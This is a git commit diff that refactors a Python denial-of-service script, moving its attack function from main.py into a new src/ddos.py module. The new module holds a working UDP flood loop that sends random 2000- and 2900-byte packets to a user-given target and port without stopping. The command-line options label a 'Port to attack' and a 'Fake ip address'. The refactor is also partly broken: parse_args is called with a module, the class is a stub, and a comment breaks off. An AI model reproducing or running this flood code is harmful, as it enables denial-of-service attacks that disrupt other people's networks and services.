Refactor code and separate methods into class
This commit is contained in:
parent
10cffeef54
commit
904ec77932
2 changed files with 99 additions and 69 deletions
73
main.py
73
main.py
|
@ -1,72 +1,8 @@
|
||||||
# import sys
|
#!/usr/bin/python
|
||||||
import os
|
|
||||||
import random
|
|
||||||
import platform
|
|
||||||
import argparse
|
import argparse
|
||||||
import threading
|
|
||||||
import socket
|
|
||||||
|
|
||||||
# TODO: Read docs on time, os, random, threading, and platform
|
from src import ddos
|
||||||
# TODO: Take questions to Mastodon
|
|
||||||
# TODO: Eat good food
|
|
||||||
# TODO: Get plenty of water and sleep
|
|
||||||
|
|
||||||
|
|
||||||
# ANSI colors with proper escape
|
|
||||||
R = '\033[31m'
|
|
||||||
G = '\033[32m'
|
|
||||||
C = '\033[36m'
|
|
||||||
W = '\033[0m'
|
|
||||||
|
|
||||||
# v1: just create ddos script
|
|
||||||
|
|
||||||
# Instead of using SOCK_STREAM for TCP connections
|
|
||||||
# using SOCK_DGRAM for UDP connections to keep packets small
|
|
||||||
# If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand
|
|
||||||
# what that means for the network being hit
|
|
||||||
|
|
||||||
# Is there enough precedent with ipv6 addresses to use socket.AF_INET6?
|
|
||||||
# How would that work?
|
|
||||||
|
|
||||||
# TODO: research ipv6
|
|
||||||
|
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
||||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
||||||
|
|
||||||
bytes1 = random.randbytes(2000)
|
|
||||||
bytes2 = random.randbytes(2900)
|
|
||||||
system = platform.uname()[0]
|
|
||||||
|
|
||||||
|
|
||||||
def check_os():
|
|
||||||
if system == 'Windows':
|
|
||||||
os.system("cls")
|
|
||||||
elif system == 'Unix':
|
|
||||||
os.system("clear")
|
|
||||||
|
|
||||||
|
|
||||||
# Just added stupid infinite loop to shut up PyCharm complaints
|
|
||||||
# The loop is stupid and doesn't work, but it is just filler
|
|
||||||
|
|
||||||
def ddos(target, port, ipaddress):
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
num = 0
|
|
||||||
num2 = 1
|
|
||||||
comp = num < num2
|
|
||||||
print(f"{comp}, infinite loop son")
|
|
||||||
except:
|
|
||||||
print("some more dummy text yo")
|
|
||||||
|
|
||||||
|
|
||||||
# Got this idea from a YouTube video with a guy who admits his script it shitty
|
|
||||||
# I guess I don't feel too bad then
|
|
||||||
|
|
||||||
for i in range(150):
|
|
||||||
thread = threading.Thread(target=ddos)
|
|
||||||
thread.start()
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
@ -75,9 +11,8 @@ def main():
|
||||||
parser.add_argument('-p', '--port', help="Port to attack")
|
parser.add_argument('-p', '--port', help="Port to attack")
|
||||||
parser.add_argument('-i', '--ipaddress', help="Fake ip address")
|
parser.add_argument('-i', '--ipaddress', help="Fake ip address")
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args(ddos)
|
||||||
|
|
||||||
ddos(args.target, args.port, args.ipaddress)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
95
src/ddos.py
Normal file
95
src/ddos.py
Normal file
|
@ -0,0 +1,95 @@
|
||||||
|
import os
|
||||||
|
import platform
|
||||||
|
import random
|
||||||
|
|
||||||
|
# import threading
|
||||||
|
import socket
|
||||||
|
|
||||||
|
# TODO: Read docs on time, os, random, threading, and platform
|
||||||
|
# TODO: Take questions to Mastodon
|
||||||
|
# TODO: Eat good food
|
||||||
|
# TODO: Get plenty of water and sleep
|
||||||
|
|
||||||
|
|
||||||
|
# ANSI colors with proper escape
|
||||||
|
R = '\033[31m'
|
||||||
|
G = '\033[32m'
|
||||||
|
C = '\033[36m'
|
||||||
|
W = '\033[0m'
|
||||||
|
|
||||||
|
# v1: just create ddos script
|
||||||
|
|
||||||
|
# Instead of using SOCK_STREAM for TCP connections
|
||||||
|
# using SOCK_DGRAM for UDP connections to keep packets small
|
||||||
|
# If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand
|
||||||
|
# what that means for the network being hit
|
||||||
|
|
||||||
|
# Is there enough precedent with ipv6 addresses to use socket.AF_INET6?
|
||||||
|
# How would that work?
|
||||||
|
|
||||||
|
# TODO: research ipv6
|
||||||
|
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
|
||||||
|
bytes1 = random.randbytes(2000)
|
||||||
|
bytes2 = random.randbytes(2900)
|
||||||
|
system = platform.uname().system
|
||||||
|
|
||||||
|
|
||||||
|
# this is better system = getattr(platform.uname(), "system")
|
||||||
|
# instead of hardcoding a specific index
|
||||||
|
# because if something in the l
|
||||||
|
|
||||||
|
|
||||||
|
def check_os():
|
||||||
|
if system == 'Windows':
|
||||||
|
os.system("cls")
|
||||||
|
elif system == 'Unix':
|
||||||
|
os.system("clear")
|
||||||
|
|
||||||
|
|
||||||
|
class DDoS:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def __init__(self, target, port, ip):
|
||||||
|
self.target = target
|
||||||
|
self.port = port
|
||||||
|
self.ip = ip
|
||||||
|
|
||||||
|
|
||||||
|
# call function to check what system is used
|
||||||
|
|
||||||
|
|
||||||
|
# Why use a try
|
||||||
|
|
||||||
|
def ddos(target, port, ipaddress):
|
||||||
|
sent = 0
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
sock.sendto(bytes1, (target, port))
|
||||||
|
sent = sent + 1
|
||||||
|
|
||||||
|
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||||
|
while True:
|
||||||
|
sock.sendto(bytes2, (target, port))
|
||||||
|
sent = sent + 1
|
||||||
|
print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port))
|
||||||
|
|
||||||
|
# Break out of infinite loop
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W)
|
||||||
|
|
||||||
|
except socket.gaierror:
|
||||||
|
print(R + '[-] ' + C + 'Unknown address.')
|
||||||
|
print(R + '[-] ' + C + 'Please input the correct ip address.')
|
||||||
|
|
||||||
|
except NameError:
|
||||||
|
print(R + '[-] ' + C + 'Unknown address.')
|
||||||
|
print(R + '[-] ' + C + 'Please input the correct ip address.')
|
||||||
|
|
||||||
|
# For introducing to the script later
|
||||||
|
|
||||||
|
# for i in range(150):
|
||||||
|
# thread = threading.Thread(target=ddos)
|
||||||
|
# thread.start()
|
Loading…
Reference in a new issue